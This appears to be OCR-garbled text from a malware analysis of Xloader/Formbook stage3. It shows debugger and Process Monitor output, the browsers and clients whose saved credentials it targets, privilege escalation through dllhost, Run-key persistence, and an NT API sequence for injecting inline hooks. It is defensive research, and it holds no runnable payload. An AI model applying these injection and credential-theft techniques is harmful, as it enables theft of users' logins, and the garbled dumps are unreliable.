If it finds anything, it creates a file in temp folder with the static name of "3r9Pk-75"
If the file exists already, it first deletes the previous one and then write new with the updated
date.
Reads the file by the following APl sequence
¢ NtCreateFile
+ NtQueryInformationFile
+» NtReadFile

< NtWriteFile



Hide FPU

push 0 EBX D2E9EF58
e cox duand e dsiestoac] ¢ estracii"\\aropke75. B GBI Locvserst\shada ApsDatanLocaT\Temg \3r9mk-75 "
push scx EDX  000000DA
ush edi ; edl L"C:\\Users\\shaddy\\AppData\'Local\Temp" EBP D2E9DA44

o ESE  02E3DA00 &L"C:\\Users\\shaddy\\AppData\\Local\\Tenp\\3r 9Pk-75_"
push
% ESI  0321CDE0
i EDI  0321D1CC L"C:\\Users\\shaddy\\AppData\\Local\\Temp\\3r 9Pk-75_"

EIP  02EE4409
p+cll \users\\shaddy\\apppata\\Local\\Google\\Chrome}\user Data\\Default\\Login Data”
\user;\\sr\addy\\AppData\\anal\\Temp" EFLAGS 00000246

CFo TFO IF1

User. ;\ishad dy\\AppData\\Local \\Ten
eby by &6

sers\\shaddy\\Anpnata\\ana'l\\mug'lE\\:hrme\\user pata\\pefaulti\Login pata” LastError 00000000 (ERROR_SUCCESS)
NS \shasi Apb st Locai Ve LasTstatus 00000000 (STATUS_SUCCESS)
ds:[esi]
GS D028 FS 0053
p cax,z ES 0028 DS 0028
ine 2eis1s €S 0023 35 0028
ST(0) X87r0 EMPTy 0.
ST(1) X87r1 EmpTy 0.
sT(2) X87r2 EmpTy 0.
ST(3) x87r3 Empty 0.
5r(4) X87ra EmPTy O
X87r5 EmBTY

Er(s) 3FFFE000000000000000 X87r6 Empty
ST(7) BFFFS000000000000000 X87r7 EMPTY

I —
Default (stdcall)
I7 [espra] Do000GI3
[esp+8] 00000000
30 [esw(] 0321D1CC L” ( \\Hsers\\shaddy\\nlllllata\\ln(a1\\Tmn\\!r9Pk 75_"
a: 0321CE0C L”

ECX 02ESEEAS
EDX 02E9D3AC
EBP 0D2E9DBCSE
ESP.

¥ Process Monitor - Sysi WIW, om

File Edit Event Filter Tools Options Help
WYAOL #.0 EnQLE

C:\Users\shaddy\AppData'Local' Temp"3r3Pk-75_

C:\Users'\shaddy\App Data'\Local Temp 3r3Pk-75_

C\Users‘shaddy\AppData*Local ' Google \Chrome'\User Data*Default L
Clleersshaddy\AppDatatLocal\Google \Chrome'\User DataDefault L
C:AUsers‘shaddy'AppData®LocalGoogle\Chrome\User Data“Default’\.L
C:\Users‘shaddy'\AppDatatLocal\Google \Chrome\User Data‘Default'L
Clleers'shaddy\AppData®Local\Google \Chrome'.User DataDefault L
C\Users‘shaddy'\AppData’LocalGoogle\Chrome\User Data“\Default\L
CAUsers shaddy‘\AppData’LocalGoogle\Chrome\User Data“\Default\L
C:\Users'shaddy'\AppData'Local' Temp".3r3Pk-75_
\Users\shaddy\ﬂpp[}aa\].ocd\Tevrp\BrﬂPk -75_

6732 ‘v QueryStandardinformation File:
eF




Web-Browsers Mail clients, FTP clients, IM apps

HTTP, HTTPS, SPDY, HTTP/2, KEYSTROKE, CLIPBOARD & PASSWORD RECOVERY (both 32bits and 64bits browser) KEYSTROKE, CLIPBOARD, PASSWORD RECOVERY & SNIFFS

& CL] @
) Microsoft Outlook

Mozilla Firefox

-
) Mozilla Thunderbird
Microsoft Edge Google Chrome  Internet Explorer
KEYSTROKE, CLIPBOARD & SNIFFS

HTTP, HTTPS, HTTP/2, KEYSTROKE &, CLIPBOARD (both 32bits and 64bits browser) @ = s

Tor Browser

Chromium

Deepnet

Q-360

b
Browzar
[
\g/
Coowon

.

Iridium

Mus{a ng

[
QupZzilla

~

Opera

m
Maxthon

@

C-dragon

2

C-icedragon
safeZone

=
BlackHawk

%
Cyberfox

5

Lunascape

»

Orbitum

Sleipnir

Safari

SeaMonkey

Canary
e
Baidu

K-Meleon

&
b
Citrio

Dooble

&

Epic

PaleMoon

2

Superbird

Decrypted Functions:
e Alotof datais hidden at first because of encrypted functions
e Similar to stage2 malware, the stage3 version also have encrypted functions in it
e Those are decrypted at run-time
e Those functions also contain encrypted hex-based strings for targeted processes
e Thestrings for targeted applications and paths are pushed onto stack at run-time.

(o]
Rambler

4
CoolNovo
—
)
Vivaldi
Midori

@
QT-Web

uc

s
skype

Pocomail

b
Pidgin

e
3D-FTP

.

v
BulletProof FTP
CoffeeCupFree

Far ftp
%
Fling FTP

NcFTP

‘WebDrive

Targeted processes

(<]
FoxMail

‘Gmail notifier

«

@

Trillan

by

AbsoluteTelnet

=

Cerberus FTP
CoreFTP
E
FileZilla
FTP Voyager
ScriptFTP

9
WinsCP

Incredimail

Opera mail

Classic FTP

CuteFTP

2
FireFTP

Netscape
Yahoo Messenger
Barcamail
-
BitKinex

CoffeeCupDirect

ExpanDrive

L
FlashFXP

L
Global Downloader  LeechFTP

&
SmartFTP

&
WISE-FTP

=
Total Commander

S
WS_FTP



pusn eax
€all zEEe420 "
Tea eax,dword ptr ss:[febp-25c]] =
xor edx,edx Eﬁ gggggggg L"Maplestudio‘\ChromePlus"™
P o == ECX 00000000
mov dword ptr ss: EDX 00000000
mov dword ptr ss: 8P 02E9DCEC
mov dword ptr ss: i "y i =]
mgg g:g:g gg & strmgs hex EsE g;gzgg &L"Maplestudio‘\ChromePlus
Mov dword per ot being pushed @1 oxEserss
mov dword ptr ss:
mov dword ptr ss: [ehp--rc],rzsuufD onto stack EIP  02EDF2EA
mov dword per ss:feoo-ca] ccoosn
mov dword ptr ss:[ebp-354],73 EFLAGS 00000246
mov word ptr ss:[[ebp ZF 1 PF 1 AF O
call 2EEEG4D. OF 0 SFO DF O
l'lﬁahecx, ford PIr OSileaxtean o] CFOo TFo IF1
push ecx
lea edx,dword ptr s=:[[ebp-3aC]) LastError 00000000 (ERROR_SUCCESS)
ﬁ’ig"‘ggg"dwum e LastStatus CODDDD3A (STATUS_OBIECT_PATH_NOT_FOUND)
push eax GS 0028 FS 0053
11 zeeEaz0
ee ecx,dword ptr ss:[[ebp-B4]] ES 0028 DS 0028
add esp’ 20 cs 0023 g5 o028
xor eax,eax
push_ecx ST(0) 00000000000000000000 X87r0 Empty 0.000000000000000000
L Tl o e [ I ST(1) 000000DDDO0000DDDDDD XS7rl EMPTY O.00C00000000DDDDDOD
mov dword ptr ss:[ebp-g0f,6F0072 ST(2) 000000DDD00000DDD0DD X87r2 EMPTY 0.00C00000000DDDDDOD
mov dword ptr ss:febp-ac], 630080 ST(3) 00000000D00000D0D00D X87r3 EMPTY 0.00C00000000DDDDDOD
mov dword ptr ss: [Ehuf-n] 4, 600075 ST(4) 0000000D000000000000 X87r4 EMpTY O.000000000000000000
"‘9‘{1‘”“"‘3 ptr ssifebp-A4l, ax ST(5) 0000DODON00000D0D00D X87r5 EMPTy O.000000000000000000
BBl ZEEEGA0 ST(6) 3FFFS000000000000000 X87r6 EmMpTy 1.000000000000000000
su; ; g U TP HS S PEEATESATEY ST(7) BFFFS000000000000000 X87F7 EMpTY -1.000000000000000000
lea eax,dword ptr ss:[ebp 841
push _eax o x87Tagword FFFF .
gs:heggdword ptr ds:[esi+7D8] Default (stdcall)
€all zeee4zo 1: [esp] OZE9DSEOD L"Map1e5cud1a\\chrome?'lus"
Tea edx,dword ptr ss:[febp-20] 2: [espra] 0324CD8S L"Comodo\,\Dra
push edx v || 3 [esp+8] O2EIDAFC L"Comuda\\Dragun"
mosw _dwnrd nte ss:Bshnoznfl £cnnca 31 [esp+C] 0000001C
640 : [esp+1D] 0ZESDAFC L"Comodo\\Dragon™
“2EA
wrp1  @Moump2z  YMoumps | WMDumpd | @oumps @ wathi  [ellocl | P Stuct 5 T
ASCII o :EEEDT“ L"Comade\\Dragan”
00 53 00]74 00 75 0D|M.a.p.1.e.5.t.u. et q o
00 68 00[72 00 GF 0O d.1.g.\.c.h.r.o: 832?3{5 t..gz'ggﬂ?;}g(igﬁ:me“
00 73 00|00 00 28 FB|m.e.P.T.u.s... (i S, = 5
el s e e gz L
Stow.a.r.e.\.8. S o o
00 72 00[00 00 F3 F6|r.o.w.s.e.r...o :i;é;g.gé’ '[ g??::"h:mne\\chmme
00 78 o0o|sC 00 59 0o|v.a.n.d.e. e L..shm%“..
00 42 00|72 00 6F 00|a.n.d.e.x 2E2 o]
29 =9 02|FD 3 02 23 2| ozgme LosTimjet”
- 1000 00120 DCE3 02 03t:0770| DaEserss
EL 12 ED 02 - 10 00 00|28 DC 2D 02 0ZESD7F4 | 0055005C
30|00 00 0O 0O |58 EF E9 02 00 00 00 0O g (o
raralRn B2 04 malfn A fA Aalan An Aa aalan fa Aa A 02E3D7EC | 00200072
Address Length Result
Ox2e9cdcl 16 =<PProgramFiles
Ox2e9c99a 13 LOCALAPPDATA
Ox2e9d48c 58 C:\Users\shaddy\AppDataLocal
Ox2e9d634 24 LOCALAPPDATA
Ox2e9d 74 20 User Data
Ox2e9da334 42 Chromium Recovery
Ox2e9da74 54 BraveSoftware\Brave-Browser
Ox2e9d3ac 50 COpera Software\Opera Neon
Ox2e9dded 44 Maplestudio\ChromeFlus
Ox2e3d310 44 (VAST Software\Browser
Ox2e9d940 40 Yandex \YandexBrowser
Ox2e9d96c 40 CatalinaGroup\Citrio
Ox229d998 40 Fenrir Inc\Sleipnir 5
Ox2e9d9cd 40 Epic Privacy Browser
0x2e3d3f0 32 Elements Browser
Ox2e9dalsd 30 360Chrome\ChroX
0x229e070 12 vaultdi.dil
Ox2e9e30cC 182 fc copy "C:\Users\shaddy'\Desktopidump.exe™ "C:\Program Files (x@a)\Qdvxhmfcmantsf.exe” v
Ox2e9e40c 22 dllhost.exe
Ox2e9e8be 1 dllhost.exe
Ox2e9f15b 10 L:3w=h
Ox2e9f2fa 86 C:'\Program Files (x86)\Qdvxh\mfem4antsf.exe




B Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter

Time of Day  Process Name

1:11:530.3720... jiymsiexec.exe
1:12:21.1869.. fiymsiexec.exe
1:12:39.0111 .. iy msiexec.exe
1:14:15.5801 ... iy msiexec.exe
1:14:54.2224 . iy msiexec.exe
1:15:08.4030... 5 msiexec.exe
1:15:20.5971... fiymsiexec.exe
115331212 iy msiexec.exe
1:15:47.1072.. figmsiexec.exe
1:16:01.0032... jigmsiexec.exe
1:16:14.3570... fiymsiexec.exe
1:16:28.2443 . jiGmsiexec.exe
1:16:42.2619 .. fiymsiexec.exe
1:16:55.9085... iy msiexec.exe
1:17:09.6534... fiymsiexec.exe
1:17:23.1635... fiymsiexec.exe

:36.8620... fiymsiexec.exe

:50.5828... fRymsiexec.exe
18:07.2565... g msiexec.exe
1:18:23.0130.. fRymsiexec.exe
1:18:38.6955... fRymsiexec.exe
1:18:53.7661... fRymsiexec.exe
1:15:08.3086.. jj5fmsiexsc exe
1:19:23.2153 . jj5msiexsc exe
1:19:38.5332 . jj5msiexsc exe
1:19:54.1310.. 5 msiexsc exe
1:20:55.1586 . jj5ymsiexsc exe
1:21:01.6018.. 5 msiexsc exe
1:21:05.0831.. jj5fmsiexsc exe
1:21:46.3202 . jj5ymsiexsc exe
1:21:54.8614 . jj5ymsiexsc exe
1:22:24 6809 . jj5ymsiexsc exe
1:22:32 5738 . jjSmsiexec exe
1:22:356307 .. fj§msiexec exe
1:22:41.7125 MSiEXEC Exe

1:22:41.7130... jamsiexec.exe

Tools

PID

6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732

Options

eEHILNRN YA

Operation

s CreateFile
s CreateFile
¥ CreateFile
¥ CreateFile
¥ CreateFile
¥ CreateFile
¥ CreateFile
¥ CreateFile
¥ CreateFile
s CreateFile
s CreateFile
s CreateFile
s CreateFile
s CreateFile
s CreateFile
s CreateFile
s CreateFile
lru CresteFile
lru CresteFile
lru CresteFile
I CreateFile
I CreateFile
‘r CreateFile
‘r CreateFile
‘r CreateFile
‘r CreateFile
‘r CreateFile
‘r CreateFile
‘r CreateFile
‘r CreateFile
‘r CreateFile
‘r CreateFile
{#s CreateFile
{#s CreateFile
‘s CreateFile

Help

&l # P

QueryBasicinformationFile

CloseFile

Privilege Escalation:
e Privileges are escalated by abusing the dllhost.exe and COM objects

e It keeps trying to copy the stage2 malware in Program Files

| = 22

Path

C:\Users\shaddy AppDatatLocal \AVG \Browser\User Data
C:\Users\shaddy AppDataLocal \Kinza\User Data
C:\Users\shaddy AppDatatLocal\URBrowserUser Data
C:\Users\shaddy AppDatatLocal \AWAST Software'\Browser'\User Data
C:\Users\shaddy AppDatatLocal \SalamWeb'\User Data
C:\Users\shaddy AppDatatLocal \CCleaner Browser\User Data
C:\Users\shaddy AppDatatLocal\Opera Software'\User Data
C:\Users\shaddy AppDataLocal\Yandex\ YandexBrowser'.User Data
C:\Users\shaddy AppData'Local\Slimjet'\User Data
C:\Users\shaddy AppData'Local . 360Chrome " Chrome'\User Data
C:\Users\shaddy AppData'Local \Comoda ' Dragon'User Data
C:\Users\shaddy AppDatatLocal\Maple Studic\ChromePlusUser Data
C:\Users\shaddy“AppDatatLocal \Chromium'\User Data
C:\Users\shaddy AppDatatLocal\ Torch'\User Data
C:\Users\shaddy\AppData'Local\Brave Software\Brave-Browser'\User Data
C:\Users\shaddy\AppData'Local \idiumUser Data
C:\Users\shaddy\AppData‘Local\Opera Software \Opera Neon‘\User Data
C:\Users\shaddy\AppData'Local\7Star\7Star\ User Data
C:\Users\shaddy\AppData'Local \Amiga'ser Data
C:\Users\shaddy\AppData'Local\Blisk \Liser Data
C:\Users\shaddy\AppData‘Local \CentBrowser\Liser Data
C:\Users\shaddy\AppData‘\Local\Chedat\User Data
C:\Users\shaddy\AppData\Local\CocCoc\ Browser' Lser Data
C:\Users\shaddy\AppData\Local\Elemerts Browser\User Data
C:\Users\shaddy\AppData\Local\Epic Privacy BrowsersUser Data
C:\Users\shaddy\App Data'\Local\Kometa\User Data
C:\Users\shaddy\App Data'\Local\Orbitum'\User Data
C:\Users\shaddy\App Data'\Local\Sputrik \Sputrik \User Data
C:\Users\shaddy\App Data'\Local\uCozMedia® Uran'\User Data
C:\Users\shaddy\App Data'\Local\Ferir Inc\Sleiprir5\ User Data
C:\Users\shaddy\App Data'\Local\ CatalinaGroup\Citrio\User Data
C:\Users\shaddy\App Data'\Local\CoowonCoowan' User Data
C:\Users\shaddy'\AppData\Local\liebao\User Data
C:\Users\shaddy'\AppData\Local\QIP Surf\User Data
C:\Users\shaddy'\AppData'\Local\Microsoft\Edge \User Data
\shaddy\App Data\Local\Microsoft \Edge \\
C:\Users\shaddy'\AppData'\Local\Microsoft\Edge \User Data

Resutt

PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
PATH NOT FOUND
SUCCES!

SUCCESS

Detail

Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:

Desired Access:
CreationTime

Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,
Read Attributes,

Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos
Dispos

23 11:56:17 PM,

e If properprivileges are not provided, it then uses explorerto write stage2 malware in temp and

by abusing dllhost, it copies the malware to Program Files

File Edit Ewvent

ca B0
LJd

Filter

Time of Day  Process Name

4:20:24.1607...
:13.0787...
4:25:22.0701...
4:29:23.2022...
4:25:37.5605...
4:29:38.9333...
4:30:27.3081...
4:30:27.5932...
:36.3916...
4:30:37.0162...
4:30:48.7858...

4:

4:

MSiExec. exe
MSiEXEC. exe
MSIEXEC EXe
MSiEXEC. exe
MSiEXEC. exe
MSiExec. exe
MSiEXEC. exe
MSIEXEC EXE
MSiEXEC. exe
msiexec exe
MSiexec. exe

Tools  Options

Y&

PID

6732
6732
6732
6732
6732
6732
6732
6732
6732
6732
6732

Operation

'r CreateFile
' CreateFile
‘s CreateFile
' CreateFile
s CreateFile
' CreateFile
' CreateFile
' CreateFile
' CreateFile
‘s CreateFile
‘m CreateFile

Help

& 7R

=
Path

C:\Program Files (x86)\Qclvxh mfemdnt 5 exe
C:\Program Files (x86)\Qclvxhmfcmdnt 5 exe
C:\Program Files (x86)\Qclvxh mfcmdnt 5 exe
C:\Program Files (x86)\Qclvxhmfcmdnt 5 exe
C:\Program Files (x86)\Qclvxh'mfemdnt 5 exe
C:\Program Files (x86)\Qclvxh mfemdnt 5 exe
C:\Program Files (x86)\Qclvxhmfcmdnt 5 exe
C:\Program Files (x86)\Qclvxh mfcmdnt 5 exe
C:\Program Files (x86)\Qclvxhmfcmdnt 5 exe
C:\Program Files (x86)"\Qclvxh'mfemdnt S exe
C:\Program Files (x86)\Qclvxh mfcmdnt 5 exe

Result

FPATH NOT FOUND
FPATH NOT FOUND
PATH NOT FOUND
FPATH NOT FOUND
PATH NOT FOUND
FPATH NOT FOUND
FPATH NOT FOUND
PATH NOT FOUND
FPATH NOT FOUND
PATH NOT FOUND
FPATH NOT FOUND
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Time of Day  Process Name PID Operation Path Result Detail
454434238 {Bimsiexec exs 6732 s CreatsFie C:\Program Files (x86)\Qclveh'micmént ¥ exe PATH NOT FOLIND Desired Accsss: Generic Read, Disposition: Open, Option
454434241 {{Eimsiexec exs 6732 s CreatsFie C:\Program Files (x86)\Qclveh'micmént 5 exe PATH NOT FOLIND Desired Accsss: Generic Read, Disposition: Open, Option
454:54.4404 _ {Eimsiexec exs 6732 s CreatsFie C:\Program Files (x86)\Qclveh'micmént 5 exe PATH NOT FOLIND Desired Accsss: Generic Read, Disposition: Open, Option
454:54.4409. . {{Bimsiexec exs 6732 s CreatsFie C:\Program Files (x86)\Qclveh'micmént 5 exe PATH NOT FOLIND Desired Accsss: Generic Read, Disposition: Open, Option
454:59.4708 .. {{Eimsiexec exs 6732 s CreatsFie C:\Program Files (x86)\Qclveh'micmént 5 exe PATH NOT FOLIND Desired Accsss: Generic Read, Disposition: Open, Option
454:53.4709. . {{Eimsiexec exs 6732 s CreatsFie C:\Program Files (x86)\Qclveh'micmént 5 exe PATH NOT FOLIND Desired Accsss: Generic Read, Disposition: Open, Option
455:04.4861 .. {{Eimsiexec exs 6732 s CreatsFie C:\Program Files (x86)\Qclveh'micmént 5 exe PATH NOT FOLIND Desired Accsss: Generic Read, Disposition: Open, Option
455:04 4863 . [{Emsiexec exs 6732 s CreatsFie C:\Program Files (x86)\Qclveh'micmént 5 exe PATH NOT FOLIND Desired Accsss: Generic Read, Disposition: Open, Option
4:55:04.4865... [{Eimsiexec exs 6732 s CreatsFie C:\Program Files (x86)\Qclveh'micmént 5 exe PATH NOT FOLIND Desired Accsss: Generic Read/ Wi, Disposition: Open,
455:04.4870... {{Eimsiexec exs 6732 s CreatsFie C:\Program Files (x86)\Qclveh'micmént 5 exe PATH NOT FOLIND Desired Accsss: Generic Read, Disposition: Open, Option
455:04.4900... {{Eimsiexec exs 6732 s CreateFie C:\Program Files (x86)\Qclveh'micmént ¥ exe FATH NOT FOLIND Desired Access: Generic Read/Wrie, Disposition: Open,
4:55:04.4903.__ {Eimsisxec exe 6732 'm CreatsFile C:\Program Files (x86)\Qclvxh'micmént  exe PATH NOT FOLIND Desired Accsss: Generic Read, Disposition: Open, Option
455087748 'ry Explorer EXE 3528 s CreateFile C:\Program Files (x86)\Qclveh'micmént ¥ exe FATH NOT FOLIND Desired Accsss: Generic Read, Disposition: Open, Option
455087848 'py Explorer EXE 3528 s CreateFile C:\Users'shaddy' AppDiata\Local\Temp'Qclvxh\rfom4nt 5 exe SUCCESS Desired Accsss: Generic Read/ Wi, Disposition: Open,
455087863, 'ry Explorer EXE 3528 s QueryStandardnfor... C-\Users shaddy'AppData’\Local\ Temp\Qciveh \mfcmdnt 5 exa SUCCESS AllocationSize: 0, EndOfFile: 0, NumberOfLinks: 1, Delete
455087881 'py Explorer EXE 3528 s WiiiteFile C:\Users'shaddy' AppDiata’Local\ Temp'Qclvxh \mfcm4nt 5 exe SUCCESS Offset: 0, Length: 189,952, Prioriy: Normal
455087904 'py Explorer EXE 3528 s ClossFie C:\Users'shaddy' AppDiata’Local\ Temp'Qclvxh \mfcm4nt 5 exe SUCCESS
455:09.5033 6732 s CreatsFie C:\Program Files (x86)\Qclveh'micmént ¥ exe PATH NOT FOLIND Desired Accsss: Generic Read, Disposition: Open, Option
455:09.5034 6732 s CreatsFie C:\Program Files (x86)\Qclveh'micmént ¥ exe PATH NOT FOLIND Desired Accsss: Generic Read, Disposition: Open, Option
455:10.4569 9104 % CreateFie C:\Users'shaddy' AppDatatLocal\ Temp'Gelvxh mfcm4nt 5 exe SUCCESS Desired Access: Generic Read, Disposition: Open, Option
455:10.4570. 9104 s QueryAttribute TagFile C:\Users‘shaddy'AppData’ Local\ Temp\Qchvh \mfcmént 5 exe SUCCESS Attributes: A, Reparse Tag: (x)

455:10.4570. 9104 s QueryStandardinfor. . C:\Users‘shaddy'AppData’ Local\ Temp\Qchvh \mfcmént 5 exe SUCCESS AlocationSize: 192,512, EndOfFile: 189,952, NumberOfLi

455:10.4571 9104 s QueryBasiclnformati C-\Users‘shaddy'AppData’ Local\ Temp\Qchvh \mfcmént 5 exe SUCCESS CreationTime: 1/18/2024 5:07:13 AM, LastAccessTime: 1

455:10.4571 9104 s QueryStreaminform . C:\Users‘shaddy'AppData’ Local\ Temp\Qchvh \mfcmént 5 exe SUCCESS 0: - SDATA

455:10.4572 9104 s QueryBasiclnformati. C-\Users‘shaddy'AppData’ Local\ Temp\Qchvh \mfomént 5 exe SUCCESS CreationTime: 1/18/2024 5:07:13 AM, LastAccessTime: 1

455:10.4572 9104 s QueryEalnformation . C-\Users‘shaddy'AppData’ Local\ Temp\Qchveh \mfcmént 5 exe SUCCESS EaSize: 0

455:10.4574 9104 s CreateFie C:\Program Files (x86)\Qclveh‘mfcmént ¥ exe SUCCESS Desired Access: Generic Read/Write, Delete, Wiite DAC,

455:10.4657 9104 7 QueryAttributelrfor . C-\Program Files (x86)\Gclwxh\mfcmént5F exe SUCCESS File System Attributes: Case Preserved, Case Senstive, Uni

455:10.4688 5104 s QueryBasiclnformati__ C-\Program Files (x86)\Gclvxh\mfcmént 5 exe SUCCESS CreationTime: 1/18/2024 5:07:15 AM, LastAccessTime: 1
5510 4668 )

455:10.4683 5104 s QueryRemoteProto . C-\Users'shaddy'AppData’ Local\ Temp\Qcivh mfcmént 5 exe INVALID PARAMETER

455:10.4684 9104 s QuerySecuriyfile  C:\Users'shaddy'AppData’ Local\ Temp\Qchvh \mfomént 5 exe SUCCESS Information: Attribute:

455:10.4685 5104 s SetEndOfFilelfom._. C-\Program Files (x86)\Galvxhmfemént 5 exe SUCCESS EndOfFile: 189,352

455:10.4686 9104 s QueryAttributelrfor . C:\Users'shaddy'AppData’ Local\ Temp\Qchvh \mfcmént 5 exe SUCCESS File System Attributes: Case Preserved, Case Sensitive, Lni

455:10.4686 9104 s QueryAtributelrfor . C:\Program Files (x86)\Gclwxh\mfemént 5 exe SUCCESS File System Attributes: Case Preserved, Case Sensitive, Lni

455:10.4689 9104 s QueryAtiributelrfor . C:\Program Files (x86)\Gclwxh\mfemént 5 exe SUCCESS File System Attributes: Case Preserved, Case Senstive, Lni

455:10.4650 9104 % ReadFile C:\Users'shaddy' AppDatatLocal\ Temp'Gelvxh mfcm4nt 5 exe SUCCESS Offset: 0, Length: 131,072, Priority: Normal

455:10.4652 9104 % ReadFile C:\Users'shaddy' AppDatatLocal\ Temp'Gelvh mfcm4nt 5 exe SUCCESS Offset: 131,072, Length: 58,880, Priority: Normal

455:10.4735 5104 s SetBasicinformation...C-\Program Files (x86)\Gclxhmfemént 5 exe SUCCESS CreationTime: 0, LastAccess Time: 0, LastWrite Time: 1/18.

Persistence:

e Afterthe malware is copied in Program Files
e It achieves persistence by adding Run Registry Keys
e Itusesthe API NtCreateKey

- | |= ﬁ? = Lo
es S Threads &mandles £7 Trace BLIEI_||I.JFO@.| IZ@|I‘.'11I!I| éﬁp |B m QQDW
T ML o (G Time of Day  Process Name FID Operation Path Resutt
12:11:02434.. siexec.exe 5732 %Heg&eateKey HKCUNSOFTWARE \Microseft \Windows \Current Version\Run SUCCESS
1211:02.434... mgiexec exe 6732 E’RegSeﬂrﬁoKey HKCUMSOFTWARE \Microsoft \WindowsCurrent VersionRun SUCCESS
1211:02.434.. fymsiexec.exe 6732 [ RegEnumValue HKCUNSOFTWARE \Microsoft\Windows"\Cumrent Version'\Run SUCCESS
1211:02.434. . i msiexec.exe 6732 [ RegEnumValue HKCUNSOFTWARE \Microsoft\Windows\Cument Version\Run SUCCESS
1211:02.434.. fj=rmsiexec.exe 6732 E’RegEnum\u’alue HKCUMSOFTWARE \Microsoft '\ WindowsCurrent Version Run SUCCESS
1211:02.44 . jjrmsiexec.exe 6732 -.HegCloseKey HKCUNSOFTWARE \Microsoft ' Windows \Cumrent Version\Run SUCCESS
- [m| X
Version\Run
| Mame Type Data
3] (Default) REG_SZ (value not set)
abj poTO REG_SZ Ch\Program Files (x86)\Qchaxch\mfemdntsf.exe
3_‘_’\]MicrosoﬂEdgeAutoLaunch_S..‘ REG_SZ "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe” --win-session-start
ab|Zoomit REG_SZ Ch\Tools\sysinternals\Zoomlthd.exe

Setting Inline Hooks:

e Xloader also works as a form grabber



It sets inline hooks in targeted processes for stealing plaintext data from the parameters of the
functions
The data stolen from victim processes is saved in a shared memory between 3 processes

7

%+ Victim Process
++ Stage3 Malware

R/

% Explorer
The xloader is stuck in a loop here
On every loop, it does the following:
** Enumerates all running processes

/7

+» Setinline hooks in targeted processes if found (by injecting code)

@

%+ Steal clipboard data

/7

+» Tries to create afile in program files
«» Adds registry in RunKeys
)/

+» SendaPOST& GET request on one of the resolved c2servers through explorer.exe. |t has
an injected payload in explorer.exe that it uses for exfiltrating stolen data.

W msedge.exe (6072) Properties

General Statistics Performance Threads Token Modules Memory  Environment Handles GPU Commen

Hide free regions
o
Base address Type Size Protect... LUse
0x73bb1fb000 Private: Commit 12kB RWHG Stack (thread 6128)
0x73bbafb000 Private: Commit 12kB RW+G Stack (thread 223)
0x73bc1fbooo Private: Commit 12kB RW+G Stack ({thread 7730)
0x73bcof4000 Private: Commit 12kB RW+G Stack (thread 8316)
0x73bd 1fa000 Private: Commit 12kB RW+G Stack (thread 1358)
0x73bdafa000n Private: Commit 12kB RWHG Stack (thread 8712)
0x73be 1fb000 Private: Commit 12kB RW+G Stack (thread 2552)
0x73besfboo0 Private: Commit 12kB RW+G Stack ({thread 5398)
0x73bf1fE000 Private: Commit 12kB RW+G Stack (thread 8840)
0x73bfafhboon Private: Commit 12kB RW+G Stack (thread 3068)
0x73c01f5000 Private: Commit 12kB RWHG Stack (thread 1900)
0x73c09fb000 Private: Commit 12kB RW+G Stack (thread 936)
0x73c11f5000 Private: Commit 12kB RW+G Stack (thread 692)
0x73c21fa000 Private: Commit 12kB RW+G Stack (thread 1552)
Ox7fthae 104000 Private: Commit 236kB  RWX
0x7ffb8e204000 Private: Commit 236 kB RWX
Ox7ffbae244000 Private: Commit 236kB RWX
0x1b2c9287000 Private: Commit 4kB RX
0x7ffe74fd 1000 Image: Commit 2,564kE RX C:\Program Files (x86)WMicrosoft\Ed...
0x7ffa752fa000 Image: Commit kB RX C:\Program Files (xa6)\WMicrosoft\Ed...
Ox 7FFe752fd000 Image: Commit 4kB RX C:\Program Files (x86) WMicrosoft\Ed...




\_ Stage 3

2. Hijack
firefox's main thread

4. Restore firefox's saved
instruction pointer

3. Setup userland
inline hooks

@)
L
firefox.exe '
‘ |
formbook.exe
1. Map a copy of itself within J
firefox process' .
address space 7 ——]
J
Targeted prucesi,u

1. NtOpenProcess(), NtCreateSection(), NtMapViewOfSection()

2. NtOpenThread(), NtSuspendThread(), NtGetThreadContext(), NtSetThread Context(),
NiResumeThread()

3. NtProtectVirtualMemory()

4, ret instruction to saved CONTEXT.Eip

Web-browsers targeted functions

Browser Pre-encryption

DLL
secur32.dll

wininet.dll

nspr4.dll
nss3.dll
ws2_32.dll

Function
